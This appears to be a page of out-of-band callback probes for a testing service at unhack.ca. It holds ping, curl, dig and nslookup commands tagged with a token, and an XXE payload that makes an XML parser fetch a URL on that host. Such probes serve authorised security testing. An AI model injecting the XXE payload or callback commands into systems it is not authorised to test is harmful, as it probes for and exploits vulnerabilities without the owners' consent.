$ ping -c1 -p 001de4540b9177dd94fc1d8d31eb8f00 unhack.ca
 

$ curl http://unhack.ca/p/1de4540b9177dd94fc1d8d31eb8f
 

$ dig 1de4540b9177dd94fc1d8d31eb8f @unhack.ca
 

$ dig 1de4540b9177dd94fc1d8d31eb8f.ns.unhack.ca
 

C:\> nslookup 1de4540b9177dd94fc1d8d31eb8f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1de4540b9177dd94fc1d8d31eb8f">]>
    <foo>&xxe;</foo>